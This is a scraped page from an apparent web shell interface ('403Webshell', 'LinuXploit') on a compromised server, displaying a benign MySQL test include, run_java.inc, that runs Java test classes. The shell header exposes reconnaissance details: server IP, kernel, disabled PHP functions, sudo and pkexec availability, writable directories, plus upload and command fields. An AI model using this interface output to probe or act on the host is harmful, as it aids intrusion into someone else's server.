403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.42
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/include/run_java.inc
--perl
use strict;
use lib "lib/";
use My::Exec;
use My::Platform;

##
## run_java.inc - include script to run Java
##
## Parameters
##   $MTR_JAVA: Java which should be used
##   $JAVA_CLASS: Class file to run
##   $JAVA_CLASSPATH: Class path to use when running test
##   $JAVA_JVM_OPTS: Optional parameters to the JVM
##
##
## Usage:
##
## --source suite/ndb/include/have_java.inc
##
## let JAVA_CLASSPATH=-classpath .:/some/path;
## let JAVA_JVM_OPTS=-Dsome.setting=123 -ea -Xcheck:jni;
##
## let JAVA_CLASS=test/SomeTest.class;
## --source suite/ndb/include/run_java.inc
##
## let JAVA_CLASS=test/SomeOtherTest.class;
## --source suite/ndb/include/run_java.inc
##

# Check parameters
my $java = $ENV{MTR_JAVA} || die "ERROR: Java not found, set MTR_JAVA";
my $java_classpath = $ENV{JAVA_CLASSPATH} || die "ERROR: Java classpath not set, please set JAVA_CLASSPATH";
my $java_class = $ENV{JAVA_CLASS} || die "ERROR: Java class to run not set, please set JAVA_CLASS";
my $java_args = $ENV{MTR_JAVA_ARGS} || '';
my $jvm_opts = $ENV{JAVA_JVM_OPTS} || '';
my $class_args = $ENV{JAVA_ARGUMENTS} || '';
my $vardir = $ENV{MYSQLTEST_VARDIR} || die "Need MYSQLTEST_VARDIR";

my $sep = ":";
if(IS_WINDOWS)
{
  $sep = ";";
}


# The length of the variables that can be passed in environment variables are limited
# (around 1024 characters) - this trick lets you plit the classpath in several variables to
# be avle to pass longer classpaths
for my $i (1..9)
{
  my $env = $ENV{"JAVA_CLASSPATH_$i"} || '';
  if ($env)
  {
    $java_classpath .= "$sep$env";
  }
  my $jvm = $ENV{"JAVA_JVM_OPTS_$i"} || '';
  if ($jvm)
  {
    $jvm_opts .= " $jvm";
  }
}

# Tell the vm to put temporary files in $MYSQLTEST_VARDIR/tmp
$jvm_opts .= " -Djava.io.tmpdir=$vardir/tmp";

if ($ENV{MTR_CLASSPATH})
{
  $java_classpath .= "$sep$ENV{MTR_CLASSPATH}"
}

my $cmd = "\"$java\" $java_args $jvm_opts -classpath \"$java_classpath\" $java_class $class_args";
my $res = exec_print_on_error($cmd);

my $F = IO::File->new("$vardir/tmp/run_java.result", "w") || die "Couldn't open varfile for writing";
if ($res)
{
  print $F "# Success\n";
}
else
{
  print $F "die \'$cmd\' run failed;\n";
}
$F->close();

EOF
--source $MYSQLTEST_VARDIR/tmp/run_java.result

Youez - 2016 - github.com/yon3zu
LinuXploit